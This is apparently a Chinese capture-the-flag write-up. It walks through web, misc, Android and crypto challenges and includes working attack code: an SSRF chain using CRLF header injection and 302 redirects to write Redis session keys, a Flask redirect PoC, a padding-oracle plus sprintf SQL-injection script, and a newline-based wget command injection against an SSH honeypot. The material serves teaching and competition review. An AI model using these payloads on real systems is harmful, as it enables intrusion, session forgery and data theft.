服务器外网只开启22、80端口,防火墙内开了6379、8000端口。22端口是服务器的ssh端口,80端口是nginx,为了提高服务可用性和日志记录。内网8000端口是我们模拟的未上线的开发环境,6379端口是没有密码的redis服务。

2.源码介绍

源码在ctf_django和ctf_second两个文件夹,首先把ctf_django的settings_sess.py文件名更改为settings.py,然后开始运行。这里使用gunicorn是为了使web服务更加健壮。

nginx相关配置文件如下:

upstream app_server {
        server unix:/home/grt1st/ctf_django/ctf_django.sock fail_timeout=0;
}

server {
        listen 80;
        server_name localhost;
        keepalive_timeout 5;
        location ~* \.(py|sqlite3|service|sock|out)$ {
                deny all;
        }
        location /static  {
                alias /home/grt1st/ctf_django/static/;
        }
        location / {
                add_header Server Django/1.11.5;
                add_header Server CPython/3.4.1;                        
                proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
                proxy_set_header Host $host;
                proxy_set_header X-Real-IP $remote_addr;
                proxy_set_header X-Scheme $scheme;
                proxy_redirect off;
                proxy_pass http://app_server;
        }
}

将以下内容保存为gunicorn.service文件名,放在ctf_django目录下。

[unit]
Description=gunicorn daemon
After=network.target

[Service]
User=nobody
Group=nogroup
WorkingDirectory=/home/grt1st/ctf_first
ExecStart=/usr/local/bin/gunicorn --workers 3 --bind unix:/home/grt1st/ctf_django/ctf_django.sock ctf_django.wsgi

[Install]
WantedBy=multi-user.target

然后进入目录,启动服务。

cd /home/grt1st/ctf_first/
sudo /home/grt1st/.conda/envs/ctf/bin/gunicorn --workers 3 --bind unix:/home/grt1st/ctf_django/ctf_django.sock ctf_django.wsgi

这里还需要虚拟环境,python3.4.1,我使用的是anaconda。启动虚拟环境 source activate ctf ,然后启动ctf_second: python ./ctf_second/ctf_second.py

0x01.

首先访问网址,我们可以看到网页如图:

值得注意的是两点,一个是 user名字 ,还有一个 You can input any url you like

我们在输入框随便输入 sina.com ,可以看到返回内容:

打开f12开发者工具可以看到:

这里我们已经可以看出,url请求的结果来自于服务器,这里有极大可能是一个ssrf漏洞。

我们在公网上开个端口,查看来自服务器的请求,这里我使用的是云服务器 nc -l -p 12345 ,然后我们输入 公网ip:12345

可以在我们的云服务器上看到:

[grt1st@VM_14_12_centos ~]$ nc -l -p 12345
GET / HTTP/1.1
Host: 123.206.60.140:12345
User-Agent: python-requests/2.18.4
Connection: keep-alive
Accept: */*
Accept-Encoding: gzip, deflate

可以看到这个请求来自于python的requests库。

于是我们尝试通过构造特殊的url来打进内网,常见的绕过比如直接 127.0.0.1 ,或者是进行一些进制转换、302跳转等等,但是我们会发现,一筹莫展,这些都被拦截了。

但是真的一点办法都没有吗?如果仔细分析页面的源代码,我们会看到页面里有一个图片,那么这里是否可能存在一个目录穿越、任意文件读取漏洞呢?

尝试 http://localhost/static/http://localhost/static../http://localhost/static../manage.py ,返回403; http://localhost/static../xxx ,返回404。

在网站响应的http头部可以看到Server头部信息CPython3.4.1。由于python3.x的特性,会在 pycache 目录下存放预编译模块,于是依次下载文件: http://localhost/static../__pycache__/__init__.cpython-34.pychttp://localhost/static../__pycache__/urls.cpython-34.pychttp://localhost/static../__pycache__/settings.cpython-34.pyc

通过uncompyle6反编译pyc得到python文件,再依次下载需要的文件: views.cpython-34.pycforms.cpython-34.pychtml_parse.cpython-34.pycsess.cpython-34.pycsafe.cpython-34.pyc

分析代码可知,只有我们的user名为 administrator 才可得到flag,而这个用户名是不可能生成的。所以我们剩下的思路就是改变session,而这里session保存在redis中。从settings.py里我们可以知道这里使用的是 django-redis-sessions

再分析代码逻辑,我们可以看到很多绕过方式都被拦截了。但是很多人可能不知道,在linux中0代表我们本机的ip地址,我们可以本地测试一下:

➜  ~ ping -c 4 0
PING 0 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.026 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.043 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.028 ms
64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.050 ms

--- 0 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3037ms
rtt min/avg/max/mdev = 0.026/0.036/0.050/0.012 ms

于是我们尝试输入0,可以看到我们已经成功进入了内网,虽然目前来看我们还是离flag很远。因为我们无法控制服务器http请求的内容,无法进行redis操作。

写一个脚本,看一下内网有什么服务,很简单的脚本:

import requests
from lxml import etree
import re

s = requests.Session()
url = "localhost"
pattern = re.compile(r'[Errno 111] Connection')

def get_token(sess):
    r = sess.get(url)
    html = etree.HTML(r.text)
    t = html.xpath("//input[@name='csrfmiddlewaretoken']")
    try:
        token = t[0].get('value')
    except IndexError:
        print("[+] Error: can't get login token, exit...")
        os.exit()
    except Exception as e:
        print(e)
        os.exit()
    return token

for i in 10000:
    payload = {'csrfmiddlewaretoken': get_token(s), 'target': '0:%i' % i}
    r = s.post(url, data=payload)
    if re.search(pattern, r.text):
        print(i)

可以看到服务器还开了8000端口和6379端口,6379端口应该是redis。这里我们输入0:8000看看会返回什么:

<!DOCTYPE html> <htmllang="en"> <head> <metacharset="UTF-8"> <title></title> </head> <body> <formaction="/"method="get"> <inputtype="text"name="url"id="url"> <inputtype="submit"value="submit"> </form> </body> </html>

看起来是一个GET方式的表单,这里我们传递表单的参数看一下 0:5000?target=http://baidu.com

<!DOCTYPE html> <htmllang="en"> <head> <metacharset="UTF-8"> <title></title> </head> <body> <p>我觉得可以</p> </body> </html>

我们看到返回了内容,在用云服务器试一下 nc -l -p 12345 ,输入参数 0:5000?target=http://公网ip:12345 :

<!DOCTYPE html> <htmllang="en"> <head> <metacharset="UTF-8"> <title></title> </head> <body> <p>timed out</p> </body> </html>

服务器请求timed out,再看服务器:

[grt1st@VM_14_12_centos ~]$ nc -l -p 12345
GET / HTTP/1.1
Accept-Encoding: identity
Connection: close
User-Agent: Python-urllib/3.4
Host: 123.206.60.140:12345

可以看出服务端使用的是urllib、python版本3.4,可能存在http头部注入。简单的poc:”0:5000?target= http://123.206.60.140%0d%0aX-injected:%20header%0d%0ax-leftover:%20:12345",看到服务器端:

[grt1st@VM_14_12_centos ~]$ nc -l -p 12345
GET / HTTP/1.1
Accept-Encoding: identity
Connection: close
User-Agent: Python-urllib/3.4
Host: 123.206.60.140
X-injected: header
x-leftover: :12345

我们成功的进行了http头部注入,可以拿来操纵redis。

那我们怎么通过0:5000打redis呢?看来要通过另一个ssrf漏洞。这里同样的对进制转换进行了过滤,但是我们可以通过302跳转构造ssrf。

同样的,在我们的云服务器上,通过flask进行简单的测试:

from flask import Flask
from flask import redirect
from flask import request
from flask import render_template

app = Flask(__name__)
app.debug = True

@app.route('/')
def test():
    return redirect('http://127.0.0.1:80/', 302)

if __name__ == '__main__':
    app.run(host='0.0.0.0')

看到返回:

<!DOCTYPE html> <htmllang="en"> <head> <metacharset="UTF-8"> <title></title> </head> <body> <p>我觉得可以</p> </body> </html>

那我们这里再次成功进行了ssrf漏洞,但是对redis的攻击类似与盲注,我们无法看到结果。

于是根据得到的 源码 ,本地搭建环境,并安装 django-redis-sessions

先访问本地,之后查看redis储存的键值对。

redis-cli
keys *
get xxxxxxxxxx

看到返回的字符串像是经过base64后的: NzVjZmFlYmY5MmMzNmYyYjRiNDlmODIzYmVkMThjNWU1YWI0NzZkYTqABJUbAAAAAAAAAH2UjARuYW1llIwNMTkzMGVhMzFlNDFmMJRzLg==

尝试解码:

➜  ~ ipython
Python 3.6.2 (default, Jul 20 2017, 03:52:27) 
Type 'copyright', 'credits' or 'license' for more information
IPython 6.2.1 -- An enhanced Interactive Python. Type '?' for help.

In [1]: import base64

In [2]: a = "NzVjZmFlYmY5MmMzNmYyYjRiNDlmODIzYmVkMThjNWU1YWI0NzZkYTqABJUbAAAAAAAAAH2U
   ...: jARuYW1llIwNMTkzMGVhMzFlNDFmMJRzLg=="

In [3]: base64.b64decode(a)
Out[3]: b'75cfaebf92c36f2b4b49f823bed18c5e5ab476da:\x80\x04\x95\x1b\x00\x00\x00\x00\x00\x00\x00}\x94\x8c\x04name\x94\x8c\r1930ea31e41f0\x94s.'

对比网页里的 hello, uesr: 1930ea31e41f0 ,我们可以把用户名替换为 administrator

于是通过分析代码逻辑,修改sess.py,不产生随机字符串而是直接返回 administrator 。于是我们清除cookie,重新启动本地的django并监控redis: redis-cli monitor ,得到 administrator 的序列化字符串 "OGIzY2Y0ZWFkOGI1MzExZDdlMDRkYjNiOGM0NWM2MGM3YWRhOWJjMDqABJUbAAAAAAAAAH2UjARuYW1llIwNYWRtaW5pc3RyYXRvcpRzLg=="

所以我们可以通过http头部注入执行redis命令,创建用户名为 administrator 的键值对。

我们云服务器端的302跳转地址如下: http://127.0.0.1%0d%0aset%206z78up4prpcderqrsq0rce35wwdnhg50%20OGIzY2Y0ZWFkOGI1MzExZDdlMDRkYjNiOGM0NWM2MGM3YWRhOWJjMDqABJUbAAAAAAAAAH2UjARuYW1llIwNYWRtaW5pc3RyYXRvcpRzLg==%0d%0ax-leftover:%20:6379/ ,拆开看,即 set 6z78up4prpcderqrsq0rce35wwdnhg50 OGIzY2Y0ZWFkOGI1MzExZDdlMDRkYjNiOGM0NWM2MGM3YWRhOWJjMDqABJUbAAAAAAAAAH2UjARuYW1llIwNYWRtaW5pc3RyYXRvcpRzLg==

但是这里实际上有一个坑,url太长会报错: UnicodeError: label empty or too long ,报错的文件在 /usr/lib/pythonx.x/encodings/idna.py ,报错在这里:

if 0 < len(label) < 64:
    return label
raise UnicodeError("label empty or too long")

所以我们要控制url长度,比如通过 append 来给键加值,基本缩略如 http://0%0d%0aset%206z78up4prpcderqrsq0rce35wwdnhg50%20值%0d%0a:6379 。依旧很长,因为整个键名就非常长,这里我们也尝试缩短。

本地测试发现,最短的键名为8位字符,比如 h1234567 ,于是缩减到 http://0%0d%0aset%20h1234567%20值%0d%0a:6379

尝试:

http://0%0d%0aset%20h1234566%20OGIzY2Y0ZWFkOGI1MzExZ%0d%0a:6379

http://0%0d%0aappend%20h1234566%20DdlMDRkYjNiOGM0NWM%0d%0a:6379

http://0%0d%0aappend%20h1234566%202MGM3YWRhOWJjMDqAB%0d%0a:6379

http://0%0d%0aappend%20h1234566%20JUbAAAAAAAAAH2UjAR%0d%0a:6379

http://0%0d%0aappend%20h1234566%20uYW1llIwNYWRtaW5pc%0d%0a:6379

http://0%0d%0aappend%20h1234566%203RyYXRvcpRzLg==%0d%0a:6379

即可进行拼接,创建文件 flask_poc.py

from flask import Flask
from flask import redirect
from flask import request
from flask import render_template

app = Flask(__name__)
app.debug = True

@app.route('/redis')
def test():
    return redirect('http://0%0d%0aset%20h1234566%20OGIzY2Y0ZWFkOGI1MzExZ%0d%0a:6379', 302)

@app.route('/redis1')
def test1():
    return redirect('http://0%0d%0aappend%20h1234566%20DdlMDRkYjNiOGM0NWM%0d%0a:6379', 302)

@app.route('/redis2')
def test2():
    return redirect('http://0%0d%0aappend%20h1234566%202MGM3YWRhOWJjMDqAB%0d%0a:6379', 302)   

@app.route('/redis3')
def test3():
    return redirect('http://0%0d%0aappend%20h1234566%20JUbAAAAAAAAAH2UjAR%0d%0a:6379', 302)

@app.route('/redis4')
def test4():
    return redirect('http://0%0d%0aappend%20h1234566%20uYW1llIwNYWRtaW5pc%0d%0a:6379', 302)    

@app.route('/redis5')
def test5():
    return redirect('http://0%0d%0aappend%20h1234566%203RyYXRvcpRzLg==%0d%0a:6379', 302)

if __name__ == '__main__':
    app.run(host='0.0.0.0')

本地测试,可以看到:

127.0.0.1:6379> keys *
1) "ubar4t1tpicq8152csdr351pabbkl0a6"
2) "h1234566"
127.0.0.1:6379> get h1234566
"OGIzY2Y0ZWFkOGI1MzExZ"
127.0.0.1:6379> get h1234566
"OGIzY2Y0ZWFkOGI1MzExZDdlMDRkYjNiOGM0NWM"
127.0.0.1:6379> get h1234566
"OGIzY2Y0ZWFkOGI1MzExZDdlMDRkYjNiOGM0NWM2MGM3YWRhOWJjMDqAB"
127.0.0.1:6379> get h1234566
"OGIzY2Y0ZWFkOGI1MzExZDdlMDRkYjNiOGM0NWM2MGM3YWRhOWJjMDqABJUbAAAAAAAAAH2UjAR"
127.0.0.1:6379> get h1234566
"OGIzY2Y0ZWFkOGI1MzExZDdlMDRkYjNiOGM0NWM2MGM3YWRhOWJjMDqABJUbAAAAAAAAAH2UjARuYW1llIwNYWRtaW5pc"
127.0.0.1:6379> get h1234566
"OGIzY2Y0ZWFkOGI1MzExZDdlMDRkYjNiOGM0NWM2MGM3YWRhOWJjMDqABJUbAAAAAAAAAH2UjARuYW1llIwNYWRtaW5pc3RyYXRvcpRzLg=="

修改本地cookies sessionid的值为 h1234566 ,已经成功。

于是我们在网址上分别进行输入 0:5000?target=公网ip/redis 、redis1、2…

然后修改cookies,成功得到flag。

simple-blog

进入题目后可以知道这是一个博客系统,那猜测应该会有后台,扫一下目录或者猜一下可以知道存在 login.php, admin.php 两个文件,访问 admin.php 可以发现有权限控制,访问 login.php 是一个登录界面。

通过尝试可以发现如果随便输入账号密码的话页面返回是 Login failed. ,但是账号密码都输入 admin 的话会跳转到 admin.php ,猜测这里应该是弱口令,只是除了密码以外还有其他的验证方式。

如果扫描字典够强大的话可以扫到 login.php, admin.php 都存在备份文件: .login.php.swp, .admin.php.swp

下载备份文件 .login.php.swp 得到源码,源码关键的部分:

function get_identity(){
	global $id;
    $token = get_random_token();
    $c = openssl_encrypt($id, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token);
    $_SESSION['id'] = base64_encode($c);
    setcookie("token", base64_encode($token));
    if($id==='admin'){
    	$_SESSION['isadmin'] = 1;
    }else{
    	$_SESSION['isadmin'] = 0;
    }
}

function test_identity(){
    if (isset($_SESSION['id'])) {
        $c = base64_decode($_SESSION['id']);
        $token = base64_decode($_COOKIE["token"]);
        if($u = openssl_decrypt($c, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token)){
            if ($u === 'admin') {
                $_SESSION['isadmin'] = 1;
                return 1;
            }
        }else{
            die("Error!");
        } 
    }
    return 0;
}

可以看到在session中也做了身份验证,但是由于加密模式是 aes-128-cbc ,且 $token 在cookie里,可控,所以这里可以进行 Pading Oracle Attack ,通过修改 $token 可以把 $_SESSION['isadmin'] 改为1(如果不清楚 Pading Oracle Attack 的原理的话可以看一下我写过的一篇 博客 ),这样就成功登录进了 admin.php

通过下载 .admin.php.swp 可以得到 admin.php 的源码,发现里面存在数据库操作

if(isset($_GET['id'])){
	$id = mysql_real_escape_string($_GET['id']);
	if(isset($_GET['title'])){
		$title = mysql_real_escape_string($_GET['title']);
		$title = sprintf("AND title='%s'", $title);
	}else{
		$title = '';
	}
	$sql = sprintf("SELECT * FROM article WHERE id='%s' $title", $id);
	$result = mysql_query($sql,$con);
	$row = mysql_fetch_array($result);
	if(isset($row['title'])&&isset($row['content'])){
		echo "<h1>".$row['title']."</h1><br>".$row['content'];
		die();
	}else{
		die("This article does not exist.");
	}

乍看之下似乎有 mysql_real_escape_string() 所以无法进行注入,但实际上这里可以利用PHP格式化字符串的漏洞。

在PHP的 sprintf 这个函数中 %\ 会被当成一个格式化字符串,如图

可以看到 %\%y 一样被当做了一个不存在的类型的格式化字符串,所以输出为空

所以利用这个原理,我们可以传入 title=%' or 1# ,此时因为 mysql_real_escape_string() 的存在单引号前会被加上一个 \ ,那么最后拼接到语句里就是

sprintf("SELECT * FROM article WHERE id='%s' AND title='%\' or 1#'", $id);

这样 % 就会吃掉后面的 \ 组成一个格式化字符串,单引号就成功逃逸了出来。

但是只是这样的话还是会报错参数不足,因为这条代码里有两个格式化字符串但是只有一个参数。不过PHP的格式化字符串还有另一种表示方法 %1$s ,其中 % 后面的数字就表示引用第几个参数, $ 后面是格式化字符串的类型,如图

所以我们传入 title=%1$' or 1# ,经过转义最后拼接到语句里就是

sprintf("SELECT * FROM article WHERE id='%s' AND title='%1$\' or 1#'", $id);

这样title那里引用的也是第一个参数 $id ,就不会报参数不足的错了

具体的原理可以看 这篇文章

所以最终SQL注入的payload就是: ?id=0&title=%251%24'%20union%20select%201%2C2%2C3%23

整个题目可由一个脚本跑出最终flag:

#-*- coding:utf-8 -*-

import requests
import base64

url = 'http://111.231.111.54/login.php'
N = 16

def inject_token(token):
    cookie = {"token": token}
    result = s.get(url, cookies = cookie)
    return result

def xor(a, b):
    return "".join([chr(ord(a[i]) ^ ord(b[i%len(b)])) for i in xrange(len(a))])

def pad(string, N):
    l = len(string)
    if l != N:
        return string + chr(N-l) * (N-l)

def padding_oracle(N):
    get = ""
    for i in xrange(1, N):
        for j in xrange(0, 256):
            padding = xor(get, chr(i) * (i - 1))
            c=chr(0) * (16 - i) + chr(j) + padding
            print c.encode('hex')
            result = inject_token(base64.b64encode(c))
            if "<html>" in result.content:
                print result.content
                get = chr(j^i) + get
                break
    return get

data={'username': "admin", 'password': 'admin'}
while 1:
    s = requests.session()
    cookies = s.post(url, data = data, allow_redirects = False).headers['Set-Cookie'].split(',') #获得session和token
    session = cookies[0].split(";")[0][10:]
    token = cookies[1][6:].replace("%3D",'=').replace("%2F",'/').replace("%2B",'+').decode('base64')
    middle1 = padding_oracle(N)
    print "\n"
    if(len(middle1) + 1 == 16):
        for i in xrange(0, 256):
            middle = chr(i) + middle1   #padding_oracle只能得到15位,爆破第一位
            print "session: " + session
            print "token: " + token
            print "middle: " + base64.b64encode(middle)
            plaintext = xor(middle, token);
            print "plaintext: " + plaintext
            des = pad('admin', N)
            tmp = ""
            print "padtext: " + base64.b64encode(des)
            for i in xrange(16):
                tmp += chr(ord(token[i]) ^ ord(plaintext[i]) ^ ord(des[i]))
            print "inject_token: " + base64.b64encode(tmp)
            result = inject_token(base64.b64encode(tmp))
            if "css/login.css" not in result.content:
                #payload = "%1$' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#" #注表名
                #payload = "%1$' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x4b4559#" #注列名
                payload = "%1$' union select 1,2,f14g from `key`#" #注字段
                params = {'id': '0', 'title': payload}
                r = s.get("http://111.231.111.54/admin.php", params = params)
                print r.content
                print "success"
                exit()

注入时也有一个小坑, key 这个表名是MYSQL保留字,我们把它当做表名带入查询时必须用反引号包起来,不然就会报语法错误而返回不了我们想要的结果。

MISC

树莓派

刚上线

  1. 题目介绍只给了个ip,有师傅当做web题,发现点不开。
  2. 扫了一波端口后,只有22开着,所以入口点肯定在这里。
  3. 根据题目的提示,按照正常的思维确实应该登录pi:raspberry,本来也是打算设置成这样,但是这个密码太弱了,题目还没上线就被黑铲扫了好几波,直接改密码种木马一波带走了。所以就改了一个需要一些脑洞的密码pi:shumeipai,可能有师傅在这里卡了一下。

第一个hint

hint1: 都告诉你密码了

  1. 这个hint主要提示弱密码是什么,因为不想让师傅们耽误太多时间,给出后很多师傅都上来了。
  2. 这时候ssh进去会发现是一个低权限帐号,很多操作都受限了,uname看内核版本也很高,这之后很多师傅就开始四处搜刮flag,bash_history、.swp等等,还看了所有文件的修改时间。
  3. 但是一番搜索后除了那个假flag什么发现也没有。在搜索的过程中,查看主机的网络状态 netstat -autpn ,会发现所有的ssh连接来源都是172.18.0.3,在这里应该会产生一些疑问,ping172.18.0.1、172.18.0.3都是通的,pi本机是172.18.0.2。
  4. 这时候可以猜测,ssh连接被0.3动了手脚,通过ssh的指纹完全可以验证0.3是师傅们和0.2之间的中间人。
  5. 下图是我们ssh连接时收到的公钥指纹:
  6. 下图是172.18.0.2主机sshd配置文件夹中的公钥:
  7. 可以看出两者是不一样的,所以验证了0.3在做SSH连接的中间人的猜测,这样一来有很大可能真的flag在0.3里。

第二个hint

hint.pcap

  1. 这是一个很重要的hint,流量中出现的主要IP是 172.180.2 172.180.3 ,在流量包里可以看到明显的特征: 在建立了SSH连接后,外网发给0.3的加密数据包,0.3会先与0.2通信,0.2返回给0.3数据后,0.3再返回给外网的ip,在这里也能够证实0.3在做ssh的中间人。
  2. 一般打ctf的流量包里面都会藏一些有用的东西,所以这里设了个坑,下载了一个53.bin,但是文件的具体内容没有什么用,此文件实际上是之前部署在公网的蜜罐捕获到的DDos木马,所以先对执行了此文件的师傅说声对不起。
  3. 但是下载这个53.bin也不完全是坑人的,流量包里的http都很重要,过滤一下http可以看到只有几个数据包,User-Agent是wget,wget了cip.cc,并重定向到了www.cip.cc,这么做的初衷了为了暴露题目的公网IP,但是师傅们后来决定先不放这个流量包,所以题目描述直接把IP给出来了,这里也没什么用了。

  4. 那为什么53.bin有request没有response捏,实际上Follow一下TCP stream就能看到后面的都是二进制的数据,wireshark没有把他们识别为http协议。

  5. 实际上这个包最关键的地方在下图中两个GET 53.bin,这里涉及到一些蜜罐的东西,玩过SSH蜜罐的师傅可能了解,入侵者下载的恶意文件很可能随着执行而自动删除,所以绝大多数ssh蜜罐,无论低中高交互都会有一个功能,就是碰到wget命令,会解析命令并自动下载里面包含的恶意文件,这也就解释了为什么wget命令在两台主机上都执行了一次。

  6. 所以如果wget命令及参数没有解析好的话,是有可能导致命令注入的。这一点在后面的hint也有提示。这个漏洞我比较粗暴的设置为,当0.3主机得到了攻击者的命令,如果命令以wget为开头,則直接os.system(cmd),当然还是做了一些过滤的。

  7. 可以看到shell里常见的引入新的命令的符号大多数都做了过滤,比如 & | $() ,但是还是留下了姿势可以绕过,比如 \n

  8. ssh tunnel的应用除了我们常用的shell,实际上还有exec,此应用不会在sshd上请求shell,只执行一条命令,比如 ssh pi@123.123.123.123 'ls'

  9. 但为了方便构造,可以使用python的paramiko库来get flag

  10. 实际上也可以直接getshell

最后

  1. wetland是我之前写的一个高交互ssh蜜罐,基于python的paramiko库。这个题就是直接拿它改动了一点。地址在本github帐号的wetland仓库里。
  2. 题目的架构为真实云主机上跑两个docker容器,分别为wetland(172.18.0.3)和sshd(172.18.0.2),其中wetland是蜜罐程序,sshd用于执行黑客的命令。
  3. 两个容器的dockerfile在docker文件夹中,sshd是对rastasheep/ubuntu-sshd的修改,降低了权限。wetland是对docker hub上ohmyadd/wetland镜像的修改,修改了两个文件,加上了命令注入。
  4. 最后既然是蜜罐,肯定会记录执行的操作啦,日志文件都有保留,但不知道公开合不合适,就先不放出来了。

  5. 最后一张用bearychat来实时看都有什么操作:)

拿去当壁纸吧朋友

平时隐写玩的多的师傅们看到论文能意识到这个是 busysteg ,不多说。真·签到题。

大部分师傅在搭建openCV环境上面有一点障碍, 可以在这里看看我怎么在Ubuntu 16.04 x64搭建的:

https://github.com/skyel1u/my-pc-env/blob/master/my-pc-env.md#open-cv

编译busysteg的代码,直接使用就好了:

#include<opencv2/core/core.hpp>
#include<opencv2/highgui/highgui.hpp>
#include<opencv2/imgproc/imgproc.hpp>
#include<iostream>
#include<fstream>
#include<vector>
#include<algorithm>

using namespace cv;
using namespace std;

char* progpath;

void usage(){
  cerr << "Usage: \n";
  cerr << " " << progpath << " h <image path> <data path> <output image path>\n";
  cerr << " " << progpath << " x <image path> <output data path>\n";
}

void fatalerror(const char* error){
  cerr << "ERROR: " << error << endl;
  usage();
  exit(1);
}

void info(const char* msg){
  cerr << "[+] " << msg << endl;
}

void hide_data(char* inimg,char* indata,char* outimg);
void extract_data(char *inimg, char* outdata);

int main(int argc, char** argv ){
  progpath = argv[0];
  if ( argc < 2 ) {
    fatalerror("No arguments passed");
  }
  if ( argv[1][1] != '\0' ) {
    fatalerror("Operation must be a single letter");
  }
  if ( argv[1][0] == 'h' ) {
    if ( argc != 5 ) {
      fatalerror("Wrong number of parameters for [h]ide operation");
    }
    hide_data(argv[2], argv[3], argv[4]);
  } else if ( argv[1][0] == 'x' ) {
    if ( argc != 4 ) {
      fatalerror("Wrong number of parameters for e[x]tract operation");
    }
    extract_data(argv[2], argv[3]);
  } else {
    fatalerror("Unknown operation");
  }
  return 0;
}

Matcalc_energy(Mat img){
  Mat orig;
  Mat shifted;
  Mat diff;
  Mat res;

  bitwise_and(img, 0xF0, img);

  copyMakeBorder(img, orig, 1, 1, 1, 1, BORDER_REPLICATE);

  res = Mat::zeros(orig.size(), orig.type());

  int top[8] = {1,0,0,0,1,2,2,2};
  int left[8] = {2,2,1,0,0,0,1,2};
  for ( int i = 0 ; i < 8 ; i++ ) {
    copyMakeBorder(img, shifted, top[i], 2-top[i], left[i], 2-left[i], BORDER_REPLICATE);
    absdiff(orig, shifted, diff);
    res = max(res, diff);
  }

  return res(Rect(1, 1, img.cols, img.rows)); // x, y, width, height
}

typedef pair<pair<uchar, int>, pair<int, pair<int, int> > > Energy;

inline Energy _energy(int r, int c, int ch, uchar v) {
  int nonce = ch * ch * 10666589 + r * r + c * c + 2239; // to "uniformly" distribute data
  return make_pair(make_pair(v, nonce), make_pair(ch, make_pair(c, r)));
}

inline int _energy_r(const Energy &e) { return e.second.second.second; }
inline int _energy_c(const Energy &e) { return e.second.second.first; }
inline int _energy_ch(const Energy &e) { return e.second.first; }
inline int _energy_v(const Energy &e) { return e.first.first; }

vector<Energy> energy_order(Mat img) {
  /* Returns a vector in decreasing order of energy. */

  Mat energy = calc_energy(img.clone());

  info("Calculated energies");

  vector<Energy> energylist;

  for ( int r = 0 ; r < img.rows ; r++ ) {
    for ( int c = 0 ; c < img.cols ; c++ ) {
      const Vec3b vals = energy.at<Vec3b>(r,c);
      for ( int ch = 0 ; ch < 3 ; ch++ ) {
	uchar v = vals[ch];
	if ( v > 0 ) {
	  energylist.push_back(_energy(r,c,ch,v));
	}
      }
    }
  }

  sort(energylist.begin(), energylist.end());
  reverse(energylist.begin(), energylist.end());

  return energylist;
}

void write_into(Mat &img,vector<Energy> pts,char *buf, int size){
  int written = 0;
  char val;
  int count = 0;
  for ( vector<Energy>::iterator it = pts.begin() ;
	it != pts.end() && written != size ;
	it++, count++ ) {
    uchar data;
    if ( count % 2 == 0 ) {
      val = buf[written];
      data = (val & 0xf0) / 0x10;
    } else {
      data = (val & 0x0f);
      written += 1;
    }

    Energy &e = *it;
    Vec3b &vals = img.at<Vec3b>(_energy_r(e), _energy_c(e));
    uchar &v = vals[_energy_ch(e)];
    v = (0xf0 & v) + data;
  }

  if ( written != size ) {
    fatalerror("Could not write all bytes");
  }
}

void read_from(Mat &img,vector<Energy> pts,char* buf,int size){
  int read = 0;

  int count = 0;
  char val = 0;

  for ( vector<Energy>::iterator it = pts.begin() ;
	it != pts.end() && read != size ;
	it++, count++ ) {
    Energy &e = *it;
    const Vec3b val = img.at<Vec3b>(_energy_r(e), _energy_c(e));
    const uchar v = val[_energy_ch(e)];
    const uchar data = 0x0f & v;
    char out;
    if ( count % 2 == 0 ) {
      out = data * 0x10;
    } else {
      out += data;
      buf[read++] = out;
    }
  }

  if ( read != size ) {
    fatalerror("Wrong size");
  }
}

bool is_valid_image_path(char *path){
  int l = strlen(path);
  return strcmp(path + l - 4, ".bmp") == 0 ||
    strcmp(path + l - 4, ".png") == 0;
}

void hide_data(char* inimg,char* indata,char* outimg){
  if ( !is_valid_image_path(outimg) ) {
    fatalerror("Output path must be either have .png or .bmp as extension.");
  }

  Mat img = imread(inimg, CV_LOAD_IMAGE_COLOR);
  if ( ! img.data ) {
    fatalerror("Could not load image. Please check path.");
  }
  info("Loaded image");

  ifstreamfin(indata, ios_base::binary);
  if ( ! fin.good() ) {
    fatalerror("Could not read data from file. Please check path.");
  }
  char_traits<char>::pos_type fstart = fin.tellg();
  fin.seekg(0, ios_base::end);
  long int fsize = (long int) (fin.tellg() - fstart);
  fin.seekg(0, ios_base::beg);
  char *buf = new char[fsize + 16];
  memcpy(buf, "BUSYSTEG", 8);
  memcpy(buf + 8, &fsize, 8);
  fin.read(buf + 16, fsize);
  fin.close();
  info("Read data");

  vector<Energy> pts = energy_order(img);
  info("Found energy ordering");

  write_into(img, pts, buf, fsize + 16);
  info("Updated pixel values");

  imwrite(outimg, img);
  info("Finished writing image");

  delete[] buf;
}

void extract_data(char *inimg, char* outdata){
  Mat img = imread(inimg, CV_LOAD_IMAGE_COLOR);
  if ( ! img.data ) {
    fatalerror("Could not load image. Please check path.");
  }
  info("Loaded image");

  vector<Energy> pts = energy_order(img);
  info("Found energy ordering");

  char header[16];
  read_from(img, pts, header, 16);
  if ( memcmp(header, "BUSYSTEG", 8) != 0 ) {
    fatalerror("Not a busysteg encoded image");
  }

  long int fsize;
  memcpy(&fsize, header+8, 8);
  info("Found data length");

  char *buf = new char[fsize + 16];
  read_from(img, pts, buf, fsize + 16);
  info("Loaded data from pixels");

  ofstreamfout(outdata, ios_base::binary);
  fout.write(buf + 16, fsize);
  fout.close();
  info("Finished writing data");

  delete [] buf;
}

CMakeLists.txt:

cmake_minimum_required(VERSION 2.8)
project( busysteg )
find_package( OpenCV REQUIRED )
add_executable( busysteg busysteg )
target_link_libraries( busysteg ${OpenCV_LIBS} )

使用cmake编译,运行即可得flag:

$ ./busySteg x final.png out                                                                 
[+] Loaded image
[+] Calculated energies
[+] Found energy ordering
[+] Found data length
[+] Loaded data from pixels
[+] Finished writing data
$ cat out                                                                                   
lctf{4a7cb5e3c532f01c45e4213804ff1704}

Android

最简单

env

1. teamtoken,message,金额
2. 每队初始金钱1k

思路

1. 无加固,只有JNI_OnLoad函数里对APK签名做了验证,修改之后调试即可;
2. 先submit做请求,然后pay进行支付;
3. 首先encode得到teamtoken,实际上就是做了一次md5;
4. 客户端先传参数到server,然后server sign=md5传回。split处理服务器传回的sign过的params string(message=xxxℴ=x&teamtoken=xxx&sign=xxx)
5. app再次求md5,得到signagain post到server,server验证sign和sianagain是否相同。

漏洞点

1. 取变量值是直接取split之后vector的固定位置,造成覆盖;
2. server第二次checksign未check金额是否为正,因此此时可以修改post参数值进行充值;(需要覆盖sign值,自己md5求sign进行篡改。)

Crypto

写在前面

双线性对

两道题目中没有用到双线性对其他复杂的性质与困难问题,只用到了最基本的一条性质:

e(g^a, h^b) == e(g, h)^(a*b)

